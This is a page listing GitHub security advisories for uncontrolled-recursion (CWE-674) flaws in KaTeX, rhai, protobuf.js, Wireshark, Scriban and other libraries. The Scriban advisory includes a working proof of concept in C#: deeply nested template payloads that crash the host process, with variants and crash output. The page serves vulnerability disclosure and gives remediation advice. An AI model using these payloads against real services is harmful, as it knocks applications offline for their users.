Common Weakness Enumeration

CWE-674

Allowed-with-Review

Uncontrolled Recursion

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

616 vulnerabilities reference this CWE, most recent first.

GHSA-64FM-8HW2-V72W

Vulnerability from github – Published: 2024-03-25 19:38 – Updated: 2026-02-05 15:26
VLAI
Summary
KaTeX's maxExpand bypassed by `\edef`
Details

Impact

KaTeX users who render untrusted mathematical expressions could encounter malicious input using \edef that causes a near-infinite loop, despite setting maxExpand to avoid such loops. This can be used as an availability attack, where e.g. a client rendering another user's KaTeX input will be unable to use the site due to memory overflow, tying up the main thread, or stack overflow.

Patches

Upgrade to KaTeX v0.16.10 to remove this vulnerability.

Workarounds

Forbid inputs containing the substring "\\edef" before passing them to KaTeX. (There is no easy workaround for the auto-render extension.)

Details

KaTeX supports an option named maxExpand which prevents infinitely recursive macros from consuming all available memory and/or triggering a stack overflow error. However, what counted as an "expansion" is a single macro expanding to any number of tokens. The expand-and-define TeX command \edef can be used to build up an exponential number of tokens using only a linear number of expansions according to this definition, e.g. by repeatedly doubling the previous definition. This has been corrected in KaTeX v0.16.10, where every expanded token in an \edef counts as an expansion.

For more information

If you have any questions or comments about this advisory: * Open an issue or security advisory in the KaTeX repository * Email us at katex-security@mit.edu

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "katex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.0"
            },
            {
              "fixed": "0.16.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-606",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-25T19:38:18Z",
    "nvd_published_at": "2024-03-25T20:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nKaTeX users who render untrusted mathematical expressions could encounter malicious input using `\\edef` that causes a near-infinite loop, despite setting `maxExpand` to avoid such loops. This can be used as an availability attack, where e.g. a client rendering another user\u0027s KaTeX input will be unable to use the site due to memory overflow, tying up the main thread, or stack overflow.\n\n### Patches\nUpgrade to KaTeX v0.16.10 to remove this vulnerability.\n\n### Workarounds\nForbid inputs containing the substring `\"\\\\edef\"` before passing them to KaTeX.\n(There is no easy workaround for the auto-render extension.)\n\n### Details\nKaTeX supports an option named `maxExpand` which prevents infinitely recursive macros from consuming all available memory and/or triggering a stack overflow error. However, what counted as an \"expansion\" is a single macro expanding to any number of tokens. The expand-and-define TeX command `\\edef` can be used to build up an exponential number of tokens using only a linear number of expansions according to this definition, e.g. by repeatedly doubling the previous definition. This has been corrected in KaTeX v0.16.10, where every expanded token in an `\\edef` counts as an expansion.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue or security advisory in the [KaTeX repository](https://github.com/KaTeX/KaTeX/)\n* Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu)",
  "id": "GHSA-64fm-8hw2-v72w",
  "modified": "2026-02-05T15:26:49Z",
  "published": "2024-03-25T19:38:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/KaTeX/KaTeX/security/advisories/GHSA-64fm-8hw2-v72w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/6777"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KaTeX/KaTeX/commit/e88b4c357f978b1bca8edfe3297f0aa309bcbe34"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/KaTeX/KaTeX"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KaTeX\u0027s maxExpand bypassed by `\\edef`"
}

GHSA-67FV-9R7G-432H

Vulnerability from github – Published: 2024-06-13 18:31 – Updated: 2024-07-05 21:21
VLAI
Summary
Rhai stack overflow vulenrability
Details

A stack overflow vulnerability was found in version 1.18.0 of rhai. The flaw position is: (/ SRC/rhai/SRC/eval/STMT. Rs in rhai: : eval: : STMT: : _ $LT $impl $u20 $rhai.. engine.. Engine$GT$::eval_stmt::h3f1d68ce37fc6e96). Due to the stack overflow is a recursive call/SRC/rhai/SRC/eval/STMT. Rs file eval_stmt_block function.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rhai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-36760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-13T22:03:59Z",
    "nvd_published_at": "2024-06-13T18:15:10Z",
    "severity": "HIGH"
  },
  "details": "A stack overflow vulnerability was found in version 1.18.0 of rhai. The flaw position is: (/ SRC/rhai/SRC/eval/STMT. Rs in rhai: : eval: : STMT: : _ $LT $impl $u20 $rhai.. engine.. Engine$GT$::eval_stmt::h3f1d68ce37fc6e96). Due to the stack overflow is a recursive call/SRC/rhai/SRC/eval/STMT. Rs file eval_stmt_block function.",
  "id": "GHSA-67fv-9r7g-432h",
  "modified": "2024-07-05T21:21:55Z",
  "published": "2024-06-13T18:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36760"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rhaiscript/rhai/commit/308d07a11d3bff0d230f685a6320292181e5a445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MageWeiG/VulnerabilityCollection/blob/main/CVE-2024-36760/info.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rhaiscript/rhai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rhai stack overflow vulenrability"
}

GHSA-685M-2W69-288Q

Vulnerability from github – Published: 2026-05-12 15:01 – Updated: 2026-05-14 20:35
VLAI
Summary
protobuf.js: Denial of service through unbounded protobuf recursion
Details

Summary

protobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields.

A crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding.

Impact

An attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause decoding to fail with a stack overflow.

This affects applications that decode untrusted protobuf binary input with affected versions.

Preconditions

  • The application must decode protobuf binary data influenced by an attacker.
  • The crafted input must contain deeply nested protobuf structures, such as nested group tags or nested message fields.
  • The affected decoder path must process the crafted input.

Workarounds

Avoid decoding untrusted protobuf binary data with affected versions. If immediate upgrade is not possible, reject excessively nested messages at an outer protocol boundary where feasible, or isolate protobuf decoding in a process that can be safely restarted.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:01:05Z",
    "nvd_published_at": "2026-05-13T16:16:55Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nprotobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields.\n\nA crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding.\n\n## Impact\n\nAn attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause decoding to fail with a stack overflow.\n\nThis affects applications that decode untrusted protobuf binary input with affected versions.\n\n## Preconditions\n\n- The application must decode protobuf binary data influenced by an attacker.\n- The crafted input must contain deeply nested protobuf structures, such as nested group tags or nested message fields.\n- The affected decoder path must process the crafted input.\n\n## Workarounds\n\nAvoid decoding untrusted protobuf binary data with affected versions. If immediate upgrade is not possible, reject excessively nested messages at an outer protocol boundary where feasible, or isolate protobuf decoding in a process that can be safely restarted.",
  "id": "GHSA-685m-2w69-288q",
  "modified": "2026-05-14T20:35:08Z",
  "published": "2026-05-12T15:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-685m-2w69-288q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "protobuf.js: Denial of service through unbounded protobuf recursion"
}

GHSA-686H-RPGM-XJJ6

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42
VLAI
Details

There is a stack consumption issue in LibSass 3.4.5 that is triggered in the function Sass::Eval::operator() in eval.cpp. It will lead to a remote denial of service attack.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-12964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-18T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "There is a stack consumption issue in LibSass 3.4.5 that is triggered in the function Sass::Eval::operator() in eval.cpp. It will lead to a remote denial of service attack.",
  "id": "GHSA-686h-rpgm-xjj6",
  "modified": "2022-05-13T01:42:49Z",
  "published": "2022-05-13T01:42:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12964"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1482397"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6C7J-GH7X-RW3H

Vulnerability from github – Published: 2022-05-24 21:59 – Updated: 2022-05-24 21:59
VLAI
Details

In Wireshark 3.0.0 to 3.0.1, 2.6.0 to 2.6.8, and 2.4.0 to 2.4.14, the dissection engine could crash. This was addressed in epan/packet.c by restricting the number of layers and consequently limiting recursion.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-12295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-23T12:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Wireshark 3.0.0 to 3.0.1, 2.6.0 to 2.6.8, and 2.4.0 to 2.4.14, the dissection engine could crash. This was addressed in epan/packet.c by restricting the number of layers and consequently limiting recursion.",
  "id": "GHSA-6c7j-gh7x-rw3h",
  "modified": "2022-05-24T21:59:59Z",
  "published": "2022-05-24T21:59:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12295"
    },
    {
      "type": "WEB",
      "url": "https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=15778"
    },
    {
      "type": "WEB",
      "url": "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=commit;h=7b6e197da4c497e229ed3ebf6952bae5c426a820"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00036.html"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K06725231"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K06725231?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4133-1"
    },
    {
      "type": "WEB",
      "url": "https://www.wireshark.org/security/wnpa-sec-2019-19.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108464"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6MWQ-4J3F-RR3X

Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2026-03-06 21:30
VLAI
Details

Uncontrolled recursion in the Parse functions in go/parser before Go 1.17.12 and Go 1.18.4 allow an attacker to cause a panic due to stack exhaustion via deeply nested types or declarations.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-1962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-10T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled recursion in the Parse functions in go/parser before Go 1.17.12 and Go 1.18.4 allow an attacker to cause a panic due to stack exhaustion via deeply nested types or declarations.",
  "id": "GHSA-6mwq-4j3f-rr3x",
  "modified": "2026-03-06T21:30:30Z",
  "published": "2022-08-11T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1962"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/417063"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/53616"
    },
    {
      "type": "WEB",
      "url": "https://go.googlesource.com/go/+/695be961d57508da5a82217f7415200a11845879"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/nqrv9fbR0zE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RQXU752ALW53OJAF5MG3WMR5CCZVLWW6"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-0515"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6P2W-7Q97-F8HF

Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:22
VLAI
Details

serde serde_yaml 0.6.0 to 0.8.3 is affected by: Uncontrolled Recursion. The impact is: Denial of service by aborting. The component is: from_* functions (all deserialization functions). The attack vector is: Parsing a malicious YAML file. The fixed version is: 0.8.4 and later.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-1010183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-25T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "serde serde_yaml 0.6.0 to 0.8.3 is affected by: Uncontrolled Recursion. The impact is: Denial of service by aborting. The component is: from_* functions (all deserialization functions). The attack vector is: Parsing a malicious YAML file. The fixed version is: 0.8.4 and later.",
  "id": "GHSA-6p2w-7q97-f8hf",
  "modified": "2024-04-04T01:22:07Z",
  "published": "2022-05-24T16:51:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1010183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dtolnay/serde-yaml/pull/105"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6Q7J-XR26-3H2C

Vulnerability from github – Published: 2026-06-26 21:02 – Updated: 2026-07-06 13:10
VLAI
Summary
Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)
Details

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

  • Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
  • Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
  • Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
  • Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
  • Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Severity
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Scriban"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0"
            },
            {
              "fixed": "7.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Scriban.Signed"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0"
            },
            {
              "fixed": "7.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:02:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing \u2014 it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**.\n\nAny application that parses an attacker-influenced template \u2014 or that passes attacker-controlled strings to `object.eval` / `object.eval_template` \u2014 can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser.\n\nThis re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** (\"Uncontrolled recursion in parser \u2192 StackOverflow\", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** (\"StackOverflow via nested array initializers bypasses ExpressionDepthLimit\", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.**\n\n### Details\n\nThe depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218\nprivate void EnterExpression()\n{\n    _expressionDepth++;\n    var limit = Options.ExpressionDepthLimit;\n    if (limit \u003e 0 \u0026\u0026 !_isExpressionDepthLimitReached \u0026\u0026 _expressionDepth \u003e limit)\n    {\n        LogError(GetSpanForToken(Previous), $\"The statement depth limit `{limit}` was reached when parsing this statement\");\n        _isExpressionDepthLimitReached = true;\n    }\n}\n```\n\nWhen the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` \u2014 parsing proceeds:\n\n```csharp\n// src/Scriban/Parsing/Parser.cs:476-488\nprivate void Log(LogMessage logMessage, bool isFatal = false)\n{\n    Messages.Add(logMessage);\n    if (logMessage.Type == ParserMessageType.Error)\n    {\n        HasErrors = true;\n        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path\n    }\n}\n```\n\nThe flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once \u2014 no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn 